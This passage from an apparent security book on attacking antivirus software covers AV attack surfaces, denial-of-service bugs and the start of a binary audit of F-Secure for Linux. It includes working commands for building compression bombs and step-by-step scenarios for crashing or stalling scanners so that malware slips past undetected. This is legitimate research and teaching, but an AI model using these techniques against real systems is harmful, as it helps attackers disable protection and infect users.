■ Missing authentication—The authentication checks for the AVG Admin 

Console were done on the client side. Thus, any user with network access 

to that machine could log in to the Admin Console. From a security point of 

view, client-side checks for logging in are barely considered “logging in.”
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■ Missing entity authentication—The communication protocol did not

provide any functionality to verify the identity of any of the communica-

tion partners. It allowed an attacker to pose as one AVG endpoint or as 

a rogue administration server.

■ Static encryption keys and insecure modes of operation—The protocol

used Blowfi sh as the chosen encryption cipher. However, the symmetric

keys were hard-coded in the binaries (in both the client- and server-side

components), so any user passively listening to the communications 

could decrypt them. Also, the cipher was used in Electronic Code Book 

(ECB) mode, which enables various attacks against the cipher-text (such

as known plaintext attacks).

■ Remote code execution—One of the parameters sent from client to server

was the ClientLibraryName parameter. It was the path to a DLL that would

be loaded by the AVG Admin Server. If this parameter pointed to a remote 

path (a library in a Universal Naming Convention [UNC] path), it would 

be remotely loaded and the code in that library would be executed in 

the context of the AVG Admin Server, which runs as SYSTEM. This very 

serious security bug is extremely easy to exploit. 

For more details on these vulnerabilities, you can go to the following URL, 

which contains the complete advisory written by SEC Consult Vulnerability 

Lab: https://www.sec-consult.com/fxdata/seccons/prod/temedia/adviso-

ries_txt/20140508-0_AVG_Remote_Administration_Multiple_critical_vul-

nerabilities_v10.txt.

I also recommend looking at the included timeline, which is both funny 

and sad.

Firewalls, Intrusion Detection Systems, and Their Parsers

Most recent antivirus products offer capabilities to analyze network traffi c and 

to detect malicious programs that are being downloaded or typical network

traces of known worms, fi le infectors, Trojans, and so on. Such attacks can be 

neutralized at the desktop machine by using Intrusion Protection Systems (IPS). 

These systems inspect all traffi c the machine receives, and this requires anti-

virus engineers to develop code to parse and decode network traffi c. Network 

protocol parsers can be exploited in exactly the same manner that fi le format 

parsers can. What are the odds of correctly parsing, say, the HTTP protocol? 

Although it is complex, it can be done and (maybe) free of bugs. But what about 

the odds of not having a single vulnerability in the code handling and parsing 
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of ARP, IP, TCP, UDP, SNMP, SMTP, POP3, Oracle TNS, CIFS, and other network 

protocols? The odds are exactly the same as with fi le parsers: they are very likely 

to have vulnerabilities.

Update Services

Update services, along with disinfection routines, are less-researched areas of 

common AV products. Nonetheless, update services still constitute an entry 

point for remote attacks. To give you an example, imagine what happens when 

an AV update service downloads its updates from an HTTP server without using 

SSL or TLS, like most antivirus products do. In that case, if the update service 

downloads a new executable fi le (such as a Windows PE executable or library), 

the attacker may be able to intercept the traffi c and serve malicious, modifi ed, 

or completely fake updates. The attacker would be able to use the update chan-

nel to subsequently install malware on the machine, which would be executed 

in the context of the antivirus. In that case, the malicious code would receive 

the special treatment of being executed as SYSTEM while being protected 

by the antivirus shield, thus making it really diffi cult to detect and remove.

This vulnerability, via the update service channel, may look improbable at 

fi rst, but it exists in various antivirus products. One such bug, found in the 

Russian Dr.Web antivirus product, is discussed in later chapters. 

Browser Plug-ins

Browser plug-ins are installed for the most popular browsers by many antivirus 

products to check the reputation of websites, URLs, and even the contents of 

downloaded fi les to determine whether they are malicious. These components 

are loaded in the context of the browser and are thus exposed to any attacker, 

on the LAN or WAN, as long as the attacker manages to trick the user into visit-

ing a web page that the attacker controls. If the browser plug-in contains one or 

more vulnerabilities, they can be remotely exploited by the attacker, regardless 

of whether the desktop machine is behind a fi rewall.

Bugs in antivirus browser plug-ins were common when ActiveX was popular. 

Back then, many antivirus products developed small versions of their engines 

that could be embedded as an ActiveX control in web pages that would be 

rendered by Internet Explorer. By embedding the AV ActiveX in the browser, 

users who had not installed an actual antivirus product were able to test-drive 

that product. However, many such antivirus components were also vulnerable 

to a plethora of attacks: buffer overfl ows and design issues were the most com-

mon weaknesses.
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For example, versions 2010 and 2011 of F-Secure Anti-Virus distributed an 

ActiveX component that was marked as safe for scripting and loadable in 

Internet Explorer; however, it was prone to a heap overfl ow bug that allowed 

attackers to gain code execution remotely. The vulnerability was discovered by 

the Garage4Hackers group, who published an exploit at www.exploit-db.com

/exploits/17715/.

Another bug with browser plug-ins is illustrated by the Kaspersky antivirus 

ActiveX component AxKLSysInfo.dll, which was marked as safe for scripting 

and thus loadable in Internet Explorer without warnings. This ActiveX control 

enabled attackers to retrieve contents from FTP directories, thus, possibly allow-

ing them to read information from FTP servers hidden behind fi rewalls. This 

is an example of a design failure that affected browser plug-ins.

There are even worse examples of design failures, such as the Comodo Antivirus

ActiveX control. In 2008, this ActiveX exposed a function called ExecuteStr that,

effectively, executed an operating system command. All the attacker had to do 

was to create a web page, embed the ActiveX control, and trick a user into visit-

ing this web page with Internet Explorer. Then, because of this bug, the attacker 

could execute any operating system command in the context of the browser. 

This is just one serious vulnerability in an antivirus product, and it is not that 

surprising to discover that similar bugs also affected other antivirus products. 

Security Enhanced Software

Most antivirus products usually install other applications in addition to the 

previously mentioned ones. Such applications, commonly labeled as “security 

enhanced” applications, are of great interest because they also expose an attack 

surface and aren’t typically carefully developed. Example security enhanced 

applications are browsers created or modifi ed by antivirus companies that are 

especially recommended by the antivirus company to be used for banking and 

other security critical usages where payments are made or money is involved in 

another way. There are even weather applications installed by antivirus products 

for which there is no other real purpose but to increase the attack surface with 

bloated and unsecure software. There are even cases where antivirus products 

install adware applications. This is the case, to name a few, of the free version 

of Avira or any version of Kingsoft (as all of them are free).

Especially when talking about the Asian market and more specifi cally the 

Chinese market, it’s common to fi nd localized browsers; they are very popular. 

For example, some antivirus products that install localized and security enhanced 

browsers are Rising or Kingsoft. The former installs a browser that mimics 

Internet Explorer with a Chinese user interface. However, it’s using the kernel 

of Internet Explorer version 7, the browser doesn’t have any kind of sandbox, 

and, to make it even more interesting for an exploit developer, various modules 
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used in this browser don’t have ASLR enabled. Naturally, this opens the door 

to target not only the antivirus kernel, scanners, and so on but also the browser 

installed by the security suite, which is set as the default browser and recom-

mended by Rising as the default browser. With Kingsoft, it’s more curious, in 

the sense of disastrously interesting. The company distributes a browser, also 

localized in Chinese and called “Liebao” (the Chinese word for cheetah). This

browser is a modifi ed version of an old Google Chrome version. The last time 

I checked the browser, it made the following mistakes:

■ It disabled the sandbox for no reason.

■ It had many libraries without ASLR enabled that remain stable across 

reboots (for example, kshmpg.dll or iblocker.dll).

■ It even installed a browser extension to take screenshots of your desktop!

Naturally, when one is determining how to attack an antivirus product, the 

most interesting target nowadays is the browser, which most AVs install. Also, 

remember that antivirus companies aren’t very security aware from an engineering 

perspective and that these are secondary tools. These security enhanced brows-

ers are not as carefully coded as, for example, the kernel (supposing the kernel 

is carefully coded, which is not that obvious to determine as one may think).

Summary

This chapter discussed how to identify the attack surface of antivirus software. 

The techniques learned in this chapter can be equally applied to fi nd the attack 

surface for any other software. Attack surfaces are categorized into two types: 

local and remote.

The local attack surface is carried by a local user on the machine. The follow-

ing is a short list of the types of local attack surfaces:

■ Local privilege escalation via misconfi gured fi les or directories privi-

leges—Take, for example, the SUID and SGID bits on UNIX systems.

■ Local denial-of-service attacks—These bombard the AV software with 

requests that will eventually slow it down, overwhelm it, or completely

shut it down.

■ The lack or improper use of compiler and operating system provided 

mitigations—On Windows, for instance, if the AV injects into processes

one of its protection modules and if that module does not support ASLR, 

then each process becomes a candidate for malicious local attacks. Another 

example is when the AV is compiled without DEP support. Both examples 

make it easy to write a reliable exploit for the AV software in question.
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■ Bugs in the kernel device drivers of AV software—If the AV uses a driver,

such as a fi lesystem fi lter or a self-protection driver, that communicates 

with user-mode components via IOCTLs, improper handling of buffers 

or logic bugs can lead to exploiting the device driver from user mode and 

achieving system-level code execution.

■ Logical fl aws resulting from programming or design errors—Such prob-

lems can lead to compromise. An example of that is when the AV has a 

backdoor facility that can be used to disable the AV. Once the attacker 

discovers this backdoor, he or she can use it during an attack. One point

to keep in mind is that nothing is hidden from reverse-engineers. They 

will discover all secret backdoors eventually.

■ Wrong privileges on Windows objects—Windows provides an elaborate

system for setting ACLs on objects (mutex, events, thread objects, and so 

on). AV developers have to make sure they protect their system objects 

with the correct ACLs or else any unprivileged program, such a malware, 

can interact with those objects.

The remote attack surface is carried by an attacker remotely, without local 

access to the machine. Any component of the AV, exposed to wires or to untrusted 

input coming from wires, could cause a security risk. The following components 

constitute a viable remote attack vector:

■ Parsers for various fi le formats—Malicious fi les and documents, when 

received by email, referenced via an img or iframe HTML tag or other

untrusted means, can trigger security bugs in the AV engine and lead to

compromise, as we have seen in previous chapters.

■ Generic detection and fi le disinfection code—When disinfecting fi les, the 

AV will have to read and interpret bytes from the infected fi les in order

to disinfect. When that’s the case, bugs in the AV’s disinfection routines

can be triggered by the maliciously crafted infected fi les.

■ Network services, administration panels, and consoles—Administration

consoles and other web interfaces can be an entry point to your network.

If, for instance, the AV’s administration web interface executes privileged 

commands on behalf of the user, and if due to a bug, the user can control 

what command to pass to the web interface, then it is game over.

■ Browser plug-ins—AV software regularly installs browser plug-ins to add 

protection when browsing the web. A simple example of a buggy browser 

plug-in is when the plug-in can be interfaced with from JavaScript. The 

attackers can trick you into visiting their website, where they then inter-

face with the plug-in and issue arbitrary dangerous commands, leading

to compromise.
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■ Firewalls, intrusion detection systems, and their various network pro-

tocol parsers—This attack is very similar to the fi le format parser attacks. 

If there’s a bug in a certain protocol parser, the attacker will send mali-

cious packets to your fi rewall and trigger bugs remotely.

■ Update services—As shown in Chapter 5, this is a serious attack vector

that has adverse effects.

Before we conclude this chapter, it is worthwhile noting that researching remote 

attack surfaces is not superior to researching local attack surfaces. In fact, it is 

compounding the attacks on top of each other that leads to successful attacks: 

starting with a remote attack, getting inside the network, and then leveraging 

a local attack to escalate privilege and fully own the attacked machine.

The next chapter will discusses the various types of denial-of-service attacks  

and how they can be leveraged to completely cripple the AV or to disable it for 

a window of time while the attack is taking place.  
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Both local and remote denial-of-service (DoS) attacks against antivirus 

software are possible; indeed, one of the most common attacks is aimed at 

disabling AV protection. This chapter covers some common DoS vulnerabilities 

and how to discover such bugs.

A DoS is an attack launched against software or against a machine run-

ning some software, with the aim of making the targeted software or machine 

unavailable. Various types of DoS attacks can be carried out against an AV 

program. For example, a typical DoS attack against AV software attempts to 

disable the software or remove it from the machine that is being infected or that 

has already been infected. Such an attack is important to the operation of the 

malware; the attack ensures the malware’s persistence by preventing a future 

antivirus update from removing or cleaning it. 

DoS attacks that aim at disabling AV software are known as “antivirus kill-

ers.” They are implemented in malware as independent tools or modules that 

know how to terminate known antivirus software by capitalizing on weaknesses 

and vulnerabilities found using techniques discussed in this book. Most so-

called DoS attacks that involve antivirus killers are incorrectly labeled as DoS, 

because they require the attacker to have administrator privileges in the infected 

machine in order to uninstall the antivirus software or disable the Windows 

services of the corresponding antivirus solution. In the following sections, I 

ignore such “attacks” and focus on true attacks: those that can be launched by 

C H A P T E R 
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a local user with low-level privileges or remotely using any of the vectors that 

are mentioned in previous chapters.

Local Denial-of-Service Attacks

A local denial of service is a DoS attack that can be launched only from the 

same machine on which the targeted antivirus software is installed. There are 

many different types of local DoS attacks, with the following ones being the 

most common:

■ Compression bombs (also available remotely)

■ Bugs in fi le format parsers (also available remotely)

■ Attacks against kernel drivers

■ Attacks against network services (available remotely, although some 

network services may only listen at the localhost IP address, 127.0.0.1)

The following sections cover several of these local DoS bug categories, as well 

as their implications from an attacker’s point of view.

Compression Bombs

A simple, well-known, and widely available local denial-of-service attack against

antivirus software is the compression bomb, also referred to as a zip bomb or 

the “zip of death.” A compression bomb can be a compressed fi le with many 

compressed fi les inside that, in turn, have many compressed fi les inside, and 

so on. It can also be a really big fi le, in the order of gigabytes, that, when com-

pressed, shrinks down to a very small ratio such as 10MB, 3MB, or 1MB. These 

bugs can be considered DoS vulnerabilities, although their usefulness is limited. 

Such bugs are practically immortal and can affect almost any antivirus software 

for desktops, servers, network inspection, and so on. 

Although compression bomb issues may be addressed and fixed for a 

given compression fi le format such as ZIP and RAR, other fi le formats, such as 

XAR, 7z, GZ, or BZ2, may be overlooked. In 2014, I performed a quick analysis 

of some antivirus products and checked to see if they were affected by such 

bugs. Figure 11-1 shows a table with the results of a one-day test.

An antivirus product, network inspection tool, or other tool affected by such 

a bug can be disrupted for a number of seconds, minutes, or even forever if it 

enters an infi nite loop. Typically, this attack causes a temporary delay that opens 

the window for a local attacker to do whatever he or she wants. For example, say 

that an attacker wants to drop a fi le that is likely to be detected by the antivirus 
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program onto the local disk. The attacker can fi rst drop a compression bomb, 

forcing the AV engine to scan the compression bomb, thus preventing the AV 

engine from doing anything else while the fi le is being scanned. Meanwhile, 

during the scan, the real malicious executable is dropped, executed, and removed. 

This all happens during the time the antivirus service is analyzing the fi rst fi le 

that caused the compression bomb attack. Naturally, such an attack is an easy 

way to temporarily disable the antivirus program and buy the attacker some 

time to perform unrestrained actions.

Figure 11-1:  Slide from the “Breaking AV Software” talk at SyScan 2014 showing an antivirus 
program affected by the compression bombs bug

Creating a Simple Compression Bomb

In this section, you create a simple compression bomb using common standard 

Unix and Linux tools. First you need to create a big zero-fi lled fi le with the 

command dd:

dd if=/dev/zero bs=1024M count=1 > file

After creating this “dummy” fi le, you need to compress it. You can use any 

compression tool and format, such as GZip or BZip2. The following command 

creates a 2GB dummy fi le and then directly compresses it with BZip2, resulting 

in a 1522-byte-long compressed fi le:

dd if=/dev/zero bs=2048M count=1 | bzip2 -9 > file.bz2
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You can quickly check the resulting size by using the wc tool:

$ LANG=C dd if=/dev/zero bs=2048M count=1 | bzip2 -9 | wc -c
0+1 records in
0+1 records out
2147479552 bytes (2.1 GB) copied, 15.619 s, 137 MB/s
1522

While this is a really simple compression bomb attack, you can 

see how effective it is against several antivirus products by accessing 

this VirusTotal report: https://www.virustotal.com/file/f32010df

7522881cfa81aa72d58d7e98d75c3dbb4cfa4fa2545ef675715dbc7c/analysis

/1426422322/.

If you check this report, you will see that eight antivirus products correctly 

identifi ed it as a compression bomb. However, Comodo and McAfee-GW-Edition 

displayed the watch icon, as shown in Figure 11-2.

Figure 11-2:  VirusTotal results showing time outs in two antivirus programs

The watch icon means that the analysis timed out, so you know that 

this attack could be performed against that antivirus program. However, the 

previous example tested with BZip2. This time, try testing with another com-

pressed fi le format, 7z. You can compress a 2GB dummy fi le into a 300KB 7z 

format fi le with the following commands:

$ LANG=C dd if=/dev/zero bs=2048M count=1 > 2gb_dummy
$ 7z a -t7z -mx9 test.7z 2gb_dummy
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0+1 records in
0+1 records out
2147479552 bytes (2.1 GB) copied, 15.619 s, 137 MB/s

$ 7z a -t7z -mx9 test.7z 2gb_dummy
7-Zip [64] 9.20  Copyright (c) 1999-2010 Igor Pavlov  2010-11-18
p7zip Version 9.20 (locale=es_ES.UTF-8,Utf16=on,HugeFiles=on,8 CPUs)
Scanning
Creating archive kk.7z
Compressing  2gb_dummy     

Everything is Ok
$ du -hc test.7z 
300K  kk.7z
300K  total

Now upload this fi le to VirusTotal to see which antivirus product, if any, is 

affected: https://www.virustotal.com/file/8649687fbd3f801ea1e5e07fd4f

d2919006bbc47440c75d8d9655e3018039498/analysis/1426423246/.

In this case, only one antivirus product reported it as a possible compression 

bomb (VBA32). Notice that Kaspersky timed out during the analysis. Cool! You 

can use 7z to temporarily disable the Kaspersky antivirus program. Try one 

more time with another fi le format: XZ. You can compress your dummy fi le 

with the XZ fi le format using 7z as follows:

$ 7z a -txz -mx9 test.xz 2gb_dummy

This time, a different set of antivirus products—Symantec and Zillya—times out, 

as you can see in the following report from VirusTotal: https://www.virustotal.com

/file/ff506a1bcdbafb8e887c6b485242b2db6327e9d267c4e38faf52605260e4868c

/analysis/1426433218/.

Also, note that no antivirus software reported it as a compression bomb at 

all. What if you create a compressed XAR fi le, a kind of obscure fi le format, 

with an 8GB dummy fi le inside? I tried to upload it to VirusTotal but it failed, 

every time I tried, at the fi nal analysis steps, as shown in Figure 11-3. I’m curi-

ous about why): https://www.virustotal.com/en/file/4cf14b0e0866ab0b6c

4d0be3f412d471482eec3282716c0b48d6baff30794886/analysis/1426434540/.

Figure 11-3:  VirusTotal error message trying to analyze a 32GB dummy file compressed 
with XAR



212 Part  II ■ Antivirus Software Evasion

I manually tested this very same archive against some antivirus products, and 

it worked against Kaspersky, causing it to time out. Also, note that Kaspersky 

creates temporary fi les when analyzing compressed archive fi les. Do you want 

to create a 32GB temporary fi le on the target’s machine? This should give you 

an idea of what you can do—although note that the compressed fi le is bigger 

than the previous ones (8GB).

Bugs in File Format Parsers

Chapter 8 described how bugs in fi le format parsers are common in antivirus 

software; we elaborate more about that in this section. Such bugs can be used 

as a reliable way to disable an antivirus scanner either locally or remotely. Even 

a trivial null pointer dereference or a divide-by-zero can be useful because, 

depending on the antivirus product, it can kill the antivirus scanner service, 

effectively disabling it until the service is restarted. The antivirus service is 

usually restarted by some kind of watchdog software (if the antivirus has this 

feature) or when the machine is restarted.

File format parser bugs can also be used locally to prevent an antivirus scan-

ner from detecting malware. A non-trivial example of this is when the malware 

drops a malformed fi le that is known to trigger the bug in the antivirus fi le 

parser and cause it to die or become stuck (for example, an infi nite loop). In 

that case, the malformed fi le is used fi rst in the attack to sabotage the antivirus 

program prior to mounting the real attack, which will go undetected. This is one 

of the many low-risk bugs that can be used for disabling an antivirus program. 

Practically speaking, this trick can be easily applied against older versions of 

ClamAV (versions prior to 0.98.3) to cause an infi nite loop when processing icons 

inside a PE fi le’s resource directory: a number like 0xFFFFFFFF of icons inside 

the resource directory will make ClamAV loop forever.

Here is another easier example of how to implement a fi le format bug. Imagine 

you have two fi les with the following path structure:

base_dir\file-causing-parsing-bug.bin
base_dir\sub-folder\real-malware.exe

With this structure, the antivirus program scans the base directory, starting 

with the fi rst fi le that triggers the parsing bug; the AV scanner may crash or 

enter an infi nite loop, depending on the parsing bug. The AV program will no 

longer have a chance to enter the subdirectory to scan the real malware, and 

thus it will remain undetected. Similarly, as another example of this kind of bug, 

a malware program can prevent the fi le from being detected by the antivirus 

scanner by embedding the fi le, instead of putting it in the same directory, thus 

abusing a fi le format bug. (It will embed the fi le in the resource directory of a 

PE fi le, in the overlay, or even directly in some section of a PE, ELF, or MachO 

fi le.) This will not interfere with the malware’s program execution and will 

effectively prevent the antivirus scanner from detecting it.
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Attacks against Kernel Drivers

Other typical examples of local DoS attacks against antivirus products are those 

focused on kernel driver vulnerabilities. Most antivirus products for Windows 

deploy kernel drivers that can be used to protect the antivirus program from 

being killed, to prevent a debugger from attaching to their services, to install a 

fi lesystem fi lter driver for real-time fi le scanning, or to install an NDIS mini-fi lter 

to analyze the network traffi c. If the kernel driver has any bugs and a local user 

can communicate with it and trigger the bug, a local attacker can cause a kernel 

Bug Check (typically called blue screen of death, or BSOD), which effectively 

shuts down or reboots the machine. Most typical vulnerabilities discovered in 

kernel drivers are I/O Control Codes (IOCTLs) for which the received arguments 

are not correctly checked or validated, if at all.

These tricks are a useful way, for example, to reboot the machine after 

performing some action without asking the user for confi rmation or requiring 

high-level privileges. They can also be used in a multistage exploit. A hypotheti-

cal, yet possible, scenario follows:

1. An attacker abuses a vulnerability that allows one of the following: a fi le 

to be copied to a user’s Startup directory, a bug that allows a driver to 

be installed, or a bug that allows a library to be copied in a location that

will later be picked up and loaded in the address space of high-privileged 

processes after rebooting.

2. The attacker then uses a kernel driver bug to force the machine to reboot 

so that the changes take effect.

Local DoS vulnerabilities in antivirus kernel drivers are very prolifi c; a 

few vulnerabilities appear each year, affecting a wide range of antivirus products 

from the most popular to the less known. Some example vulnerabilities with 

proofs-of-concepts from previous years can be found on the www.exploit-db

.com website, as shown in Figure 11-4.

Figure 11-4:  Proofs-of-concepts exploiting DoS bugs
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Remote Denial-of-Service Attacks

Remote DoS vulnerabilities can also be discovered in antivirus products, as in 

any other software with a remote surface that is exposed. A remote denial of 

service is a DoS attack that can be launched remotely, targeting the antivirus 

software installed in the victim’s computer. There are many possible remote 

DoS attack vectors, with the following being the most common:

■ Compression bombs, as in the case of local denial of services

■ Bugs in fi le format parsers, as in the case of local denial of services

■ Bugs in network protocol parsers

■ Attacks against antivirus network services that listen to network interfaces 

other than the loopback network interface (localhost IP address, 127.0.0.1)

I discuss some of these attack vectors and how they can be used remotely in 

the following sections.

Compression Bombs

As in the case of a local DoS, you can use compression bombs to temporarily 

disable antivirus software remotely. Depending on the antivirus software product 

and email clients, here is how a remote DoS attack can take place:

 1. An attacker sends an email to a target email box with a compression bomb 

attached.

 2. As soon as the email is received, the antivirus software analyzes the fi le.

 3. Immediately after sending the previous email, the attacker sends another

one with a piece of malware.

 4. While the antivirus product is still analyzing the previous fi le (the com-

pression bomb), the unsuspecting user opens the attachment in the second 

email, which the attacker sent, and becomes infected.

Naturally, this attack scenario depends on how each antivirus product and 

email client behaves. Some antivirus products, but not all, block until each email 

is fully scanned. However, because this gives the user the impression that his 

or her email is slow, many antivirus products do not block the user. Again, it 

depends on both the antivirus and email client software, as some email clients 

will launch synchronous processes to analyze the email attachments for mali-

cious content (blocking the email client for as long as the antivirus scanner takes 

to analyze the compression bomb).
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Bugs in File Format Parsers

Many antivirus products come with heuristics for exploit prevention. Such 

technologies can be implemented in many ways, but they usually focus on 

offi ce suite and browser software. A bug in an antivirus fi le format parser can 

be exploited remotely, using a browser. Here is an example scenario to illustrate 

this type of attack:

 1. The attacker creates a malicious web page that somehow fi ngerprints the 

antivirus software. Alternatively, it may simply target one or more specifi c 

antivirus products without fi rst fi ngerprinting.

 2. If a vulnerable antivirus is detected, the attacker server sends a web 

page with an iframe pointing to a fi le that causes a crash in the antivi-

rus scanner, effectively disabling it. Alternatively, when fi ngerprinting 

techniques are not used, the malicious web page may try to serve all the

malformed pages that crash the entire supported list of antiviruses, one 

by one, until the specifi c antivirus belonging to the user crashes.

 3. After a few seconds, or when some event happens, the malicious web page

executes a piece of JavaScript exploiting a vulnerability in the browser.

 4. Because the antivirus program was disabled via a DoS bug for a fi le format

parser, the exploitation process is not detected, and so the targeted user

is infected.

This attack is very likely to be used in a real scenario. However, there is no 

publicly known exploit or malware using it so far.

Summary

 This chapter covered various DoS vulnerabilities and how to discover them 

and use them against antivirus. A typical local DoS attack against antivirus 

software is one that is launched with low privileges, escalates privileges, and 

then attempts to disable the software or uninstall it from the machine that is 

being infected or that has already been infected. On the other hand, a typical 

remote DoS attack against antivirus software is one that is targeting its remotely 

accessible services—those that can be reached from the outside without fi rst 

having local access. An example of that is when the attacker sends a malicious 

email to the target or uses social engineering to persuade the target to visit a 

malicious website.
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The following different kinds of local and remote DoS attacks were described 

in this chapter:

■ Compression bombs—These are also known as a “zip of death.” A simple

compression bomb attack involves a fi le that is highly compressible, that

when unpacked may consume hundreds of megabytes of memory if not

gigabytes. This naturally would cause the AV to become busy, thus creating 

a small window of time where the real malware can slip in undetected. 

This kind of attack can affect almost any kind of antivirus.

■ Bugs in fi le format parsers—These bugs, even when as trivial as a divide-

by-zero, a null pointer dereference, or a format parsing bug leading to an 

infi nite loop, can cause the antivirus service or scanner to crash, giving 

the attacker a chance to carry out a temporary attack during the time the 

antivirus’s watchdog has not yet restarted the crashed services.

■ Attacks against kernel drivers—Kernel drivers, such as fi lesystem fi lter

drivers, network fi lter drivers, or other kernel components of an antivi-

rus, may contain logic or design bugs that can lead to exploitation. If this

is the case, then the attacker is able to execute code from kernel mode 

with the highest privilege.

■ Attacks against network services—All of the previously mentioned attacks

could be carried remotely as well. A network service, such as an email 

gateway, can be exploited if it contains fi le format parser bugs. Similarly, 

an email containing a compression bomb can be sent to the targeted 

recipients, which will be intercepted by the email gateway, leading to a 

DoS attack and perhaps causing a crash in that service.

The next chapter discusses research methodology and static analysis tech-

niques pertaining to antivirus software in order to fi nd bugs, weaknesses, 

design fl aws, and other relevant information that help you understand how the 

antivirus works and how to evade it.   
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Static analysis is a research method used to analyze software without actually 

executing it. This method involves extracting all the information relevant to the 

analysis (such as fi nding bugs) using static means.

Analyzing code with static analysis is often done by reading its source code 

or the corresponding assembly in the case of closed-source products. Although 

this is, naturally, the most time-consuming technique used to analyze a piece 

of software, it offers the best results overall, because it forces the analyst to 

understand how the software works at the lower levels.

This chapter discusses how you can use static analysis techniques to discover 

vulnerabilities in antivirus software. It focuses on the de facto tool for static 

analysis, IDA.

Performing a Manual Binary Audit

Manual binary auditing is the process of manually analyzing the assembly 

code of the relevant binaries from a software product in order to extract arti-

facts from it. As an example, this chapter shows you how to manually audit an 

old version of F-Secure Anti-Virus for Linux with the aim of discovering some 

vulnerability that you could exploit remotely, such as a bug in the fi le format 

parsers. Fortunately for reverse-engineers, this antivirus product comes with 

symbolic information, which makes the static analysis audit easier.

C H A P T E R 
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When you have symbolic information either because the program database 

(PDB) fi les were present for a Windows application or because the DWARF 

debugging information was embedded in Unix applications, you can simply 

skip analyzing all those exported functions. This allows you to avoid reverse-

engineering them and losing many precious work hours. If there is not enough 

symbolic information, especially about standard library functions (those found 

in the C runtime [CRT] library or LIBC, such as malloc, strlen, memcpy, and 

so on), then you can rely on IDA’s “Fast Library Identifi cation and Recognition 

Technology” (also known as FLIRT) to discover the function names for you. 

Often, even without having any symbols, it is possible to deduce what a certain 

function does by formulating a quick understanding of its general algorithms 

and purpose. As an example of the latter, I managed to avoid reverse-engineering 

a set of functions because I could directly identify them as being related to the 

RSA algorithm.

File Format Parsers

For experimentation and demonstration purposes, this chapter uses the antivirus 

product F-Secure Anti-Virus for Linux. After installing this product, you will 

have a few folders in the /opt/f-secure directory:

$ ls -l /opt/f-secure/
total 12
drwxrwxr-x  5 root root 4096 abr 19  2014 fsaua
drwxr-xr-x  3 root root 4096 abr 19  2014 fsav
drwxrwxr-x 10 root root 4096 abr 19  2014 fssp

From this directory listing, you might guess that the prefi x fs means F-Secure 

and the prefi x av means antivirus. If you take a look inside the second directory, 

you will discover that it contains almost exclusively symbolic links:

$ ls -l /opt/f-secure/fsav/bin/
total 4
lrwxrwxrwx 1 root root  48 abr 19  2014 clstate_generator -> 
/opt/f-secure/fsav/../fssp/bin/clstate_generator
lrwxrwxrwx 1 root root  45 abr 19  2014 clstate_update -> 
/opt/f-secure/fsav/../fssp/bin/clstate_update
lrwxrwxrwx 1 root root  49 abr 19  2014 clstate_updated.rc ->
/opt/f-secure/fsav/../fssp/bin/clstate_updated.rc
lrwxrwxrwx 1 root root  39 abr 19  2014 dbupdate ->
/opt/f-secure/fsav/../fssp/bin/dbupdate
lrwxrwxrwx 1 root root  44 abr 19  2014 dbupdate_lite -> 
/opt/f-secure/fsav/../fssp/bin/dbupdate_lite
lrwxrwxrwx 1 root root  35 abr 19  2014 fsav ->
/opt/f-secure/fsav/../fssp/bin/fsav
lrwxrwxrwx 1 root root  37 abr 19  2014 fsavd ->
/opt/f-secure/fsav/../fssp/sbin/fsavd
lrwxrwxrwx 1 root root  37 abr 19  2014 fsdiag ->
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/opt/f-secure/fsav/../fssp/bin/fsdiag
lrwxrwxrwx 1 root root  42 abr 19  2014 licensetool ->
/opt/f-secure/fsav/../fssp/bin/licensetool
-rwxr--r-- 1 root root 291 abr 19  2014 uninstall-fsav

Because of where the symbolic links point, it seems that the interesting 

directory is fssp:

$ ls -l /opt/f-secure/fssp/
total 32
drwxrwxr-x 2 root root 4096 abr 19  2014 bin
drwxrwxr-x 2 root root 4096 ene 30  2014 databases
drwxrwxr-x 2 root root 4096 abr 19  2014 etc
drwxrwxr-x 3 root root 4096 abr 19  2014 lib
drwxrwxr-x 2 root root 4096 abr 19  2014 libexec
drwxrwxr-x 2 root root 4096 abr 19  2014 man
drwxrwxr-x 2 root root 4096 abr 19  2014 modules
drwxrwxr-x 2 root root 4096 abr 19  2014 sbin

Great! This directory includes the databases, the programs’ directories (bin

and sbin), some library directories (lib and libexec), the man pages, and the

modules directory. Take a look at the lib directory and see if you can discover

a library or set of libraries with the code-handling fi le formats:

$ ls -l /opt/f-secure/fssp/lib
total 3112
-rw-r--r-- 1 root root    2475 nov 19  2013 fsavdsimple.pm
-rwxr-xr-x 1 root root  252111 nov 19  2013 fsavdsimple.so
-rw-r--r-- 1 root root   32494 ene 30  2014 fssp-common
-rwxr-xr-x 1 root root  244324 ene 30  2014 libdaas2.so
-rwxr-xr-x 1 root root  123748 ene 30  2014 libdaas2tool.so
-rwxr-xr-x 1 root root 1606472 ene 30  2014 libfm.so
lrwxrwxrwx 1 root root      17 abr 19  2014 libfsavd.so -> 
libfsavd.so.7.0.0
lrwxrwxrwx 1 root root      17 abr 19  2014 libfsavd.so.4 -> 
libfsavd.so.4.0.0
-rwxr-xr-x 1 root root   66680 ene 30  2014 libfsavd.so.4.0.0
lrwxrwxrwx 1 root root      17 abr 19  2014 libfsavd.so.5 -> 
libfsavd.so.5.0.0
-rwxr-xr-x 1 root root   70744 ene 30  2014 libfsavd.so.5.0.0
lrwxrwxrwx 1 root root      17 abr 19  2014 libfsavd.so.6 -> 
libfsavd.so.6.0.0
-rwxr-xr-x 1 root root   74872 ene 30  2014 libfsavd.so.6.0.0
lrwxrwxrwx 1 root root      17 abr 19  2014 libfsavd.so.7 -> 
libfsavd.so.7.0.0
-rw-r--r-- 1 root root   79040 nov 19  2013 libfsavd.so.7.0.0
lrwxrwxrwx 1 root root      13 abr 19  2014 libfsclm.so -> 
libfsclm.so.2
lrwxrwxrwx 1 root root      18 abr 19  2014 libfsclm.so.2 -> 
libfsclm.so.2.2312
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-rwxr-xr-x 1 root root  309724 may 21  2013 libfsclm.so.2.2312
lrwxrwxrwx 1 root root      20 abr 19  2014 libfsmgmt.2.so -> 
libmgmtfile.2.0.0.so
lrwxrwxrwx 1 root root      17 abr 19  2014 libfssysutil.so ->
libfssysutil.so.0
-rwxr-xr-x 1 root root   27272 ene 30  2014 libfssysutil.so.0
-rwxr-xr-x 1 root root   44532 ene 30  2014 libkeycheck.so
-rwxr-xr-x 1 root root   56488 sep  5  2013 libmgmtfile.2.0.0.so
lrwxrwxrwx 1 root root      20 abr 19  2014 libmgmtfile.2.so ->
libmgmtfile.2.0.0.so
-rwxr-xr-x 1 root root   56488 sep  5  2013 libmgmtfsma.2.0.0.so
